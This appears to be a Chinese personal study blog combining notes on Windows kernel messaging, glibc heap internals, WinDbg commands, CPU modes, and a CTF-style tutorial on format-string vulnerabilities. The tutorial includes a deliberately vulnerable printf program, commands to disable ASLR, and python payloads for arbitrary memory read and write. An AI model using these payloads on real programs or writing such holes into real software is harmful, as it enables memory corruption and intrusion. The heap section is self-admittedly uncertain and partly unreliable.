Windows内核学习

消息机制

Window消息机制的解决方案是通过GUI线程来处理,消息队列在R0层。

Linux消息机制是通过进程来处理。

1.当线程刚创建的时候,都是普通线程:

Thread.ServiceTable->KeServiceDescriptorTable (系统服务表)

2.当线程第一次调用Win32k.sys(调用服务号>100)的时候,会调用:PsConvertToGuiThread。

主要做2件事情:

a.扩充内核栈,必须换成64KB大小的内核栈,因为普通内核栈只有12KB大小
b.创建一个_KTHREAD结构体(有一个成员指针指向结构体 _THREADINFO,_THREADINFO结构体有一个成员叫MessageQueue,即消息队列,只有GUI线程才有),普通线程_KTHREAD->Win32Thread = NULL;
c.Thread.ServiceTable->KeServiceDescriptorTableShadow
d.把需要的内存数据映射到本进程空间。

总结: 可以通过KTHREAD.Win32Thread来找到消息队列,只有GDI线程才有消息队列,一对一的关系。

窗口与线程

所有的窗口在0环都有一个 _WINDOWS_OBJECT 对象,该对象->PTHREADINFO 指向其GDI线程。

一个线程有N多窗口,一个窗口只能属于一个线程。

窗口句柄是全局对象,可以被多个进程使用。

消息队列

消息队列的结构

1.SentMessagesListHead // 接收SendMessage发来的消息。

2.PostedMessagesListHead // 接到PostMessage发来的消息

3.HardwareMessagesListHead // 接收鼠标、键盘的消息

一共有7种,自行百度补全、

GetMessage 函数(
LPMSG lpMsg
HWND hWnd
UNIT wMsgMin
UNIT wMsgMax
)

注: GetMessage 会自动处理 SentMessagesListHead 队列的消息并消灭

DispatchMessage 拿着句柄进0环通过窗口对象来进行分发。

TranslateMessage 主要负责处理键盘消息 WM_CHAR消息的转换等。

PWN入门之堆学习(一)

关于Linux堆的资料,我看了很久,看的云里雾里的,今天突然发现了一些点,重新梳理了一下,大概理解了。

写的是自己的理解,不一定对,后面理解加深的话会回来修改这些错误。

首先Linux堆的实现有很多种,glibc使用的是ptmalloc2,以其为中心进行学习。

堆空间的申请从系统层面有2个函数,一个是brk,一个是mmap

arena

无论是主线程还是新创建的线程,在第一次申请内存时,都会有独立的 arena,一般申请堆空间系统会分配132KB的空间。

其头部结构如下代码所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
struct malloc_state
{
/* Serialize access. */
__libc_lock_define (, mutex);
/* Flags (formerly in max_fast). */
int flags;

/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];

/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];

/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */

INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};

typedef struct malloc_state *mstate;

其中各种bin是我最头疼的部分:

fastbin是先进后出,存放在fastbinsY数组

fastbinsY[0]~fastbinsY[9] 分别指向:16,24,32,40,48,56,64,72,80和88大小的chunk单向链表

bins里面存放着 Unsorted bin 、Small bin 、Large bin的双向链表,是先进先出结构

1
2
3
4
5
6
7
8
9
bins[0] 存放着 Unsorted bin 双向链表,用来存储未分类的回收chunk。

bins[1] - bins[62] 存放着 Small bin 双向链表,用来存储16, 24, ... , 504 bytes的chunk。

bins[63] - bins[126] 存放着 、Large bin 双向链表,用来存储 xxxxx。

这部分应该还没理解,等理解来修改,双向练兵应该有2位,类似 bins[0] 和 bins[1] 存放着 Unsorted bin 双向链表

后面理解透彻了再回来修正,总觉得这部分理解不到位,得多找些资料学习一下。

然后最重要的是Top chunk,开空间的用的 free空间的时候可能将空间放入bins,也可能合并空间。

今天主要是把链表这部分理解了,就是根据不同大小生成的链表,之前这部分一直没理解。

Pwn相关知识学习

今天开始学习CTF各类逆向题型,Android通过JEB已经可以进行大部分基础的逆向,不难,所以有空再写,但是PWN这玩意玩起来就脑壳疼了,不记下来指不定过几天我就忘了。

格式化字符创漏洞学习

格式化字符创这东西由于参数个数的不确定性,因此可以构造恶意参数来读写内存。

输出函数

1
2
3
4
5
6
#include <stdio.h>
int printf(const char *format, ...);
int fprintf(FILE *stream, const char *format, ...);
int dprintf(int fd, const char *format, ...);
int sprintf(char *str, const char *format, ...);
int snprintf(char *str, size_t size, const char *format, ...);

对于输出函数,即使是printf函数也可以被用来操作内存的读写,以下程序为例:

1
2
3
4
5
6
7
8
9
#include<stdio.h>
void main() {
char format[128];
int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
char arg4[10] = "ABCD";
scanf("%s", format);
printf(format, arg1, arg2, arg3, arg4);
printf("\n");
}

注:进行编译需要冠以 aslr和关闭pie

1
2
echo 0 > /proc/sys/kernel/randomize_va_space
gcc -m32 -fno-stack-protector -no-pie main.c

通过输入%p%p%p%p%p%p%p%p%p%p%p%p 即可打印处堆栈内的信息,若需读任意地址,配合上%n$s即可,具体应用:
python -c ‘print(“\x00\x10\x40\x00%13$s”)’ 如此便可打印处 00401000的内存地址的值

重点:%13$s 这种格式需要大家自行查询了解,这里给出一个例子:

printf(“%2$s,%1$d”,123,”Hello”)

这个函数输出的结果为 Hello,123。 至于我上面给的%13$s 中的13,只是个例子,每个程序都不一样,上诉例子在调试过程中我在调试过程中获取到的是13。

可以对任意内存进行读取之后,需要对任意内存进行写操作,这里给一个关于printf写内存的例子:

1
2
3
4
5
6
7
#include<stdio.h>
void main() {
int i;
char str[] = "hello";
printf("%s %n\n", str, &i);
printf("%d\n", i);
}

输出结果为 :

1
2
hello
6

这里的%n代表的是将前面所包含的char数组长度写入到i变量中。

printf(“%0134512640d%n\n”, 1, &i);

以上代码 将 0x8048000 写入到i当中,实际利用情况 我们使用 %hhn % hn 来写入内存,hhn表示的是char类型地址。

python2 -c ‘print(“\x38\xd5\xff\xff”+”\x39\xd5\xff\xff”+”\x3a\xd5\xff\xff””\x3b\xd5\xff\xff”+”%104c%13$hhn”+”%222c%14$hhn”+”%
222c%15$hhn”+”%222c%16$hhn”)’ | ./a.out

因此就完成了对任意地址的写入。但是前面的字符创占用了大小,自行处理(二次覆盖或者把%13$n移动到前面去但是要注意内存对齐)。

WinDbg调试指令

dt 指令,用于打印数据结构 举例 dt _PEB
x 指令,查找全局函数或变量,需要PDB支持 举例 x calc!g*
.reload 重载符号表
dd 32位数据显示 dq 64位数据显示
u 反汇编,u 00401000 返汇编目标地址
.formats 将虚拟地址转为二进制,用于分页机制中查找其内存地址
!process 0 0 命令列出所有进程

软件调试

CPU 基础

CPU的操作模式

保护模式和实模式

保护模式指的是具有强大的虚拟内存支持和完善的任务保护机制,实模式是直接操作物理IO地址。虚拟8086模式即保护模式下的类实模式。

寄存器

寄存器相关的逆向工程核心原理已介绍

特权级

描述符特权级 : Descriptor Privilege Level 简称DPL,位于段描述符或门描述符中,用于表示一个段或门的特权级别